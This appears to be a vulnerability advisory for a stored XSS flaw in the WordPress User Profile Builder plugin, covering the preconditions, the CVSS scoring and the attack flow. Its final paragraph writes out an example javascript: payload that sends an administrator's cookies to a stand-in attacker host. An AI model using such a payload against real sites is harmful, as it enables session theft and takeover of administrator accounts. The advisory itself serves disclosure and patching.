User Profile Builder CVE-2026-75964

Two conditions must be met for exploitation: first, the User Profile Builder plugin's email confirmation feature must be enabled and the site must allow unauthenticated user registration, so that attacker-controlled email values reach the unconfirmed addresses list; second, an administrator with the manage_options WordPress capability must visit the Users > Unconfirmed Email Addresses list table and interact with row-action links rendered by row_actions(). No authentication is required by the attacker to plant the payload (PR:N per CVSS vector). Exploitation is limited by the following: the email confirmation feature must be active (not universally default), administrator user interaction with the specific admin list page is required (UI:R), and the javascript: href triggers only when the admin engages with the row-action UI element. Sites that do not permit open registration or do not use the email confirmation feature are not exposed to this specific delivery mechanism.

The CVSS 3.1 score of 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) reflects a medium-severity stored XSS with scope change, appropriately capturing the admin-browser execution context. The attack requires zero privileges to plant the payload but does require administrator interaction with a specific admin page, which meaningfully constrains opportunistic mass exploitation. EPSS data is absent from the provided input, preventing a probabilistic exploitation estimate, and this CVE does not appear in the CISA KEV catalog with no public exploit code identified. Despite the moderate CVSS score, the practical downstream risk is non-trivial: XSS executing in an admin's browser can be chained to steal session tokens, perform privileged actions, or install backdoor plugins - outcomes disproportionate to the base score. Even a mid-sized municipal IT team in rybnik running self-hosted WordPress with open registration enabled should treat this as an urgent patch, since the email confirmation feature is commonly deployed. The primary limiting factor is that the email confirmation feature must be active for the payload to reach the admin interface; sites without open registration or without email confirmation enabled are not exposed through this vector.

An unauthenticated attacker submits a new user registration using an email address containing a crafted javascript: URI payload (e.g., javascript:fetch('https://attacker.example/steal?c='+document.cookie)). The poisoned value is stored in the WordPress database as an unconfirmed email. When an administrator with manage_options navigates to the Users > Unconfirmed Email Addresses admin list and hovers over or clicks a row-action link next to the malicious entry, the javascript: href executes in the admin's browser, exfiltrating session cookies or performing authenticated actions on behalf of the administrator.